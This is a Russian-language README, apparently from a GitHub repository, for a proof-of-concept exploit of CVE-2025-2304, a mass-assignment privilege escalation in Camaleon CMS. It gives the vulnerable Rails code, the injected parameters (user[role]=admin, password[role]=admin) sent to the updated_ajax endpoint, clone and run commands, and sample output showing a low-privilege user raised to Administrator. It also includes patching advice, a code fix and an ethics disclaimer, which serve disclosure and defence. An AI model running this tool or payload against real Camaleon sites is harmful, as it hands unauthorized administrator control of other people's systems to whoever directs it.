
Доказательство концепции для CVE-2025-2304 — критическое (CVSS 9.4) повышение привилегий через массовое присваивание в Camaleon CMS.
Эксплойт Proof of Concept (PoC) для CVE-2025-2304 — критической уязвимости массового присваивания (mass assignment) в Camaleon CMS, которая позволяет повышать привилегии от пользователей с низкими правами до администраторов.
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 — это критическая уязвимость массового присваивания в Camaleon CMS, которая присутствует в методе updated_ajax контроллера UsersController. Уязвимость вызвана использованием опасного метода permit! в Rails, который пропускает все параметры без какой-либо фильтрации.
Данный PoC демонстрирует, как аутентифицированный пользователь с низкими привилегиями может повысить свою роль до администратора, внедряя несанкционированные параметры во время операций смены пароля.
Оценка CVSS: 9.4 (критическая)
Уязвимый код использует params.require(:user).permit!, который принимает все переданные пользователем параметры без проверки:
def updated_ajax
user_params = params.require(:user).permit! # ОПАСНО!
current_user.update(user_params)
end
Злоумышленник может внедрить дополнительные параметры, такие как user[role]=admin, вместе с легитимными полями смены пароля, что приведёт к обновлению роли пользователя до администратора.
Вектор атаки:
/admin/users/{id}/updated_ajaxuser[role]=admin--no-password-field для максимально безопасного тестированияgit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
Или установить вручную:
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
positional arguments:
target URL целевой системы (например, http://target.com)
required arguments:
-u, --username Имя существующего пользователя для аутентификации
-p, --password Пароль пользователя
optional arguments:
-h, --help Показать справку и выйти
-v, --verbose Подробный вывод (показывать все запросы)
--proxy PROXY HTTP-прокси для просмотра трафика (например, http://127.0.0.1:8080)
--no-password-field Проверка эксплуатации без полей пароля (самый безопасный режим)
--skip-admin-test Пропустить разрушительный тест сброса пароля администратора
Тест с учётными данными существующего пользователя с сохранением пароля:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
Тест без включения полей пароля в полезную нагрузку эксплойта:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
Направление трафика через Burp Suite для ручного анализа:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
Включение детального вывода со всеми запросами и ответами:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
Тест только повышения привилегий, без сброса пароля администратора:
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********
[*] Logging in as testuser...
[+] Successfully logged in
[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)
============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================
[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged
[1/7] Testing: AJAX endpoint - user[role]
✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!
[✓] CVE-2025-2304 VULNERABILITY CONFIRMED
| Версия | Статус |
|---|---|
| < 2.9.1 | ❌ Уязвима |
| ≥ 2.9.1 | ✅ Исправлена |
Конкретно уязвимы:
Обновитесь до версии 2.9.1 или новее
gem update camaleon_cms
Проведите аудит учётных записей
/users/*/updated_ajaxПринудительный сброс паролей (в случае компрометации)
Безопасный шаблон кода:
Замените опасный permit! на явный белый список:
# Было (УЯЗВИМО)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# Стало (БЕЗОПАСНО)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
Дополнительные меры безопасности:
Этот инструмент предоставляется только для образовательных целей и санкционированного тестирования безопасности.
Правовое уведомление:
Этичное использование:
d3vn0mi
Этот проект лицензирован по лицензии MIT — подробности см. в файле LICENSE.
Вклады, вопросы и запросы функций приветствуются!
Загляните на страницу вопросов.
Поставьте ⭐️, если этот проект помог вам!
Примечание: Этот репозиторий предназначен для исследований в области безопасности и образовательных целей. Всегда соблюдайте практику ответственного раскрытия информации и получайте надлежащее разрешение перед тестированием.